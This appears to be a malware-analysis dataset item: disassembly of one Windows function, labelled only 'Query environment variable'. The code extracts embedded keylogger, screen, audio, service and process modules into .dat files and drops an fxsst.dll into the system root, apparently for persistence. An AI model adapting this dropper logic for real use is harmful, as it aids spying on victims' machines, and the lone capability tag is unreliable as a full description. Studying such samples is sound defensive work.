Function at 0x4032ea
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x710
cmp dword [0x4189e0], 0
push ebx
push esi
push edi
je 0x403832
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetModuleFileNameA
push str.kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and byte [ebp - 0x108], 0
push 0x40
mov edx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
and byte [ebp - 0x710], 0
mov ecx, 0xff
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x70f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x710]
push 0x400
push eax
push 0
call edx
mov esi, 0x104
lea eax, [ebp - 0x710]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x108]
push str.Temp_spoolsv.exe
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x14
test eax, eax
je 0x40339d
push str.Temp_temp098
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x710]
push 0x416238
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov edi, eax
pop ecx
mov dword [ebp - 4], edi
xor ecx, ecx
cmp edi, ecx
je 0x403832
mov eax, dword [ebp + 8]
cmp eax, 1
jne 0x403403
cmp dword [0x4189b8], ecx
je 0x40382a
lea eax, [ebp - 0x108]
push str.File
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
lea eax, [ebp - 0x108]
push esi
push dword [0x4189b8]
push eax
push dword [0x4189e0]
jmp 0x40362b
cmp eax, 2
jne 0x40344a
cmp dword [0x4189bc], ecx
je 0x40382a
lea eax, [ebp - 0x108]
push str.Audio
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4189b8]
push esi
lea eax, [ebp - 0x108]
push dword [0x4189bc]
push eax
mov eax, dword [0x4189e0]
add ecx, eax
jmp 0x40362a
cmp eax, 3
jne 0x403491
cmp dword [0x4189c0], ecx
je 0x40382a
lea eax, [ebp - 0x108]
push 0x4162c0
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4189bc]
push esi
lea eax, [ebp - 0x108]
push dword [0x4189c0]
push eax
mov eax, dword [0x4189b8]
add ecx, eax
jmp 0x403624
cmp eax, 4
jne 0x4034e5
cmp dword [0x4189c4], ecx
je 0x40382a
lea eax, [ebp - 0x108]
push str.keybrd
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4189bc]
push esi
lea eax, [ebp - 0x108]
push dword [0x4189c4]
push eax
mov eax, dword [0x4189c0]
add eax, ecx
add eax, dword [0x4189b8]
add eax, dword [0x4189e0]
push eax
jmp 0x40362b
cmp eax, 5
jne 0x403529
cmp dword [0x4189c8], ecx
je 0x40382a
lea eax, [ebp - 0x108]
push 0x4162b4
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4189c0]
push esi
lea eax, [ebp - 0x108]
push dword [0x4189c8]
push eax
mov eax, dword [0x4189c4]
add eax, ecx
jmp 0x403571
cmp eax, 6
jne 0x40357c
cmp dword [0x4189cc], ecx
je 0x40382a
lea eax, [ebp - 0x108]
push str.Screen
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4189c4]
push esi
lea eax, [ebp - 0x108]
push dword [0x4189cc]
push eax
mov eax, dword [0x4189c8]
add eax, ecx
add eax, dword [0x4189c0]
add eax, dword [0x4189bc]
jmp 0x4034d3
cmp eax, 7
jne 0x4035c0
cmp dword [0x4189d0], ecx
je 0x40382a
lea eax, [ebp - 0x108]
push str.Service
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4189cc]
push esi
lea eax, [ebp - 0x108]
push dword [0x4189d0]
push eax
mov eax, dword [0x4189c8]
add ecx, eax
jmp 0x40360c
cmp eax, 8
jne 0x403664
cmp dword [0x4189d4], ecx
je 0x40382a
lea eax, [ebp - 0x108]
push str.ShellFile
push eax
call sub.MSVCRT.dll_strcat
mov esi, str..dat
mov ecx, dword [0x4189d0]
push esi
lea eax, [ebp - 0x108]
push dword [0x4189d4]
push eax
mov eax, dword [0x4189cc]
add ecx, eax
add ecx, dword [0x4189c8]
add ecx, dword [0x4189c4]
add ecx, dword [0x4189c0]
add ecx, dword [0x4189bc]
add ecx, dword [0x4189b8]
add ecx, dword [0x4189e0]
push ecx
push edi
call fcn.0040305e
add esp, 0x1c
test eax, eax
je 0x403832
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x108]
push eax
call fcn.00403223
add esp, 0x10
jmp 0x403834
cmp eax, 9
jne 0x4036f5
cmp dword [0x4189d8], ecx
je 0x40382a
lea eax, [ebp - 0x108]
push str.Process
push eax
call sub.MSVCRT.dll_strcat
mov ecx, dword [0x4189d4]
push str..dat
push dword [0x4189d8]
lea eax, [ebp - 0x108]
push eax
mov eax, dword [0x4189d0]
add ecx, eax
add ecx, dword [0x4189cc]
add ecx, dword [0x4189c8]
add ecx, dword [0x4189c4]
add ecx, dword [0x4189c0]
add ecx, dword [0x4189bc]
add ecx, dword [0x4189b8]
add ecx, dword [0x4189e0]
push ecx
push edi
call fcn.0040305e
add esp, 0x1c
test eax, eax
je 0x403832
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop eax
jmp 0x403834
cmp eax, 0xa
jne 0x40382a
cmp dword [0x4189dc], ecx
je 0x40382a
and byte [ebp - 0x310], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x30f]
push str.fxsst
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
and byte [ebp - 0x20c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x310]
push str..dat
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
push str.MoveFileExA
push str.kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
lea eax, [ebp - 0x20c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20c]
push esi
push eax
push str._systemroot_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x20c]
push str._fxsst
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x4189d8]
push str..dll
push dword [0x4189dc]
lea eax, [ebp - 0x20c]
push eax
mov eax, dword [0x4189d4]
add ecx, eax
add ecx, dword [0x4189d0]
add ecx, dword [0x4189cc]
add ecx, dword [0x4189c8]
add ecx, dword [0x4189c4]
add ecx, dword [0x4189c0]
add ecx, dword [0x4189bc]
add ecx, dword [0x4189b8]
add ecx, dword [0x4189e0]
push ecx
push dword [ebp - 4]
call fcn.0040305e
add esp, 0x14
test eax, eax
je 0x403832
push dword [ebp - 4]
jmp 0x40382b
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret